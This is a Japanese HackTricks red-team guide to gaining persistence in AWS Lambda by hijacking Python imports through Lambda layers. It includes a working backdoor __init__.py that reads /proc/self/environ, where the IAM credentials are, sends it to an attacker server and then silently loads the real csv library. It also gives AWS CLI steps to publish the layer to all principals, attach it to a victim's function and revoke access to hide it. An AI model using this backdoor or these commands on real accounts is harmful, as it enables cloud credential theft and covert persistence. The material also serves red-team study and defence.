AWS - Lambda Layers Persistence

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Lambda Layers

Lambdaレイヤーは、追加のコードやその他のコンテンツを含む.zipファイルアーカイブです。レイヤーにはライブラリ、カスタムランタイム、データ、または構成ファイルを含めることができます。

1つの関数に最大5つのレイヤーを含めることができます。関数にレイヤーを含めると、内容は実行環境の/optディレクトリに展開されます。

デフォルトでは、作成したレイヤーはAWSアカウントにプライベートです。他のアカウントとレイヤーを共有するか、レイヤーを公開するかを選択できます。異なるアカウントが公開したレイヤーを関数が消費する場合、関数は削除された後もレイヤーバージョンを使用し続けることができます、またはレイヤーへのアクセス許可が取り消された後も使用できます。ただし、削除されたレイヤーバージョンを使用して新しい関数を作成したり、関数を更新したりすることはできません。

コンテナイメージとして展開された関数はレイヤーを使用しません。代わりに、イメージをビルドする際に好みのランタイム、ライブラリ、およびその他の依存関係をコンテナイメージにパッケージ化します。

Pythonのロードパス

PythonがLambdaで使用するロードパスは次のとおりです:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

第二三番目の位置が、lambda layersがファイルを展開するディレクトリによって占有されているかを確認します:/opt/python/lib/python3.9/site-packages/opt/python

攻撃者が使用されているlambda layerバックドアを仕掛けたり実行される任意のコードを追加したりすることに成功した場合、共通ライブラリがロードされるたびに悪意のあるコードを実行できるようになります。

したがって、要件は次のとおりです:

  • 被害者のコードによってロードされるライブラリを確認する

  • lambda layersを使用したプロキシライブラリを作成し、カスタムコードを実行して元のライブラリをロードする

事前にロードされたライブラリ

このテクニックを悪用する際に困難に直面しました:Pythonランタイムでコードが実行されるときにはすでにいくつかのライブラリがロードされていましたossysのようなものを見つけることを期待していましたが、jsonライブラリさえもロードされていました。 この持続性テクニックを悪用するためには、コードが実行されるときにロードされていない新しいライブラリをロードする必要があります。

このようなPythonコードを使用すると、lambda内のPythonランタイムで事前にロードされたライブラリのリストを取得できます:

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

そして、これがリストです(osjsonなどのライブラリがすでにあるかどうかを確認してください)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

以下は、lambdaにデフォルトでインストールされているライブラリのリストです: https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Lambda Layer Backdooring

この例では、対象のコードが**csvをインポートしていると仮定します。csvライブラリのインポートにバックドアを仕掛けます**。

そのために、lambdaによってロードされるパスに、ファイル**__init__.pyを含むディレクトリcsvを作成します: /opt/python/lib/python3.9/site-packages その後、lambdaが実行され、csvをロードしようとすると、__init__.pyファイルがロードおよび実行**されます。 このファイルは次のようにする必要があります:

  • ペイロードを実行する

  • 元のcsvライブラリをロードする

次のように両方を行うことができます:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

その後、このコードを**python/lib/python3.9/site-packages/__init__.py**のパスに含むzipファイルを作成し、Lambda レイヤーとして追加します。

このコードはhttps://github.com/carlospolop/LambdaLayerBackdoor で見つけることができます。

統合されたペイロードは、最初に呼び出されるとIAMクレデンシャルをサーバーに送信するか、Lambdaコンテナがリセットされた後(コードの変更またはコールドLambda)に送信しますが、他の技術も統合できます:

pageAWS - Steal Lambda Requests

外部レイヤー

外部アカウントからLambda レイヤーを使用することが可能です。さらに、Lambda は権限を持っていなくても外部アカウントからレイヤーを使用できます。 また、Lambda が持つことができるレイヤーの最大数は5です。

したがって、この技術の柔軟性を向上させるために、攻撃者は次のことができます:

  • ユーザーの既存のレイヤーにバックドアを仕込む(何も外部ではない)

  • 自身のアカウントで レイヤーを作成し、被害者アカウントにアクセス権限を与え、被害者のLambdaでレイヤーを構成し、権限を削除します。

  • Lambda は引き続きレイヤーを使用でき、被害者は(Lambda内でリバースシェルを取得する以外に)**レイヤーのコードを簡単にダウンロードする方法を持たなくなります。

  • 被害者は**aws lambda list-layersで使用されている外部レイヤーを見ることができません**

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ

HackTricksをサポートする他の方法:

最終更新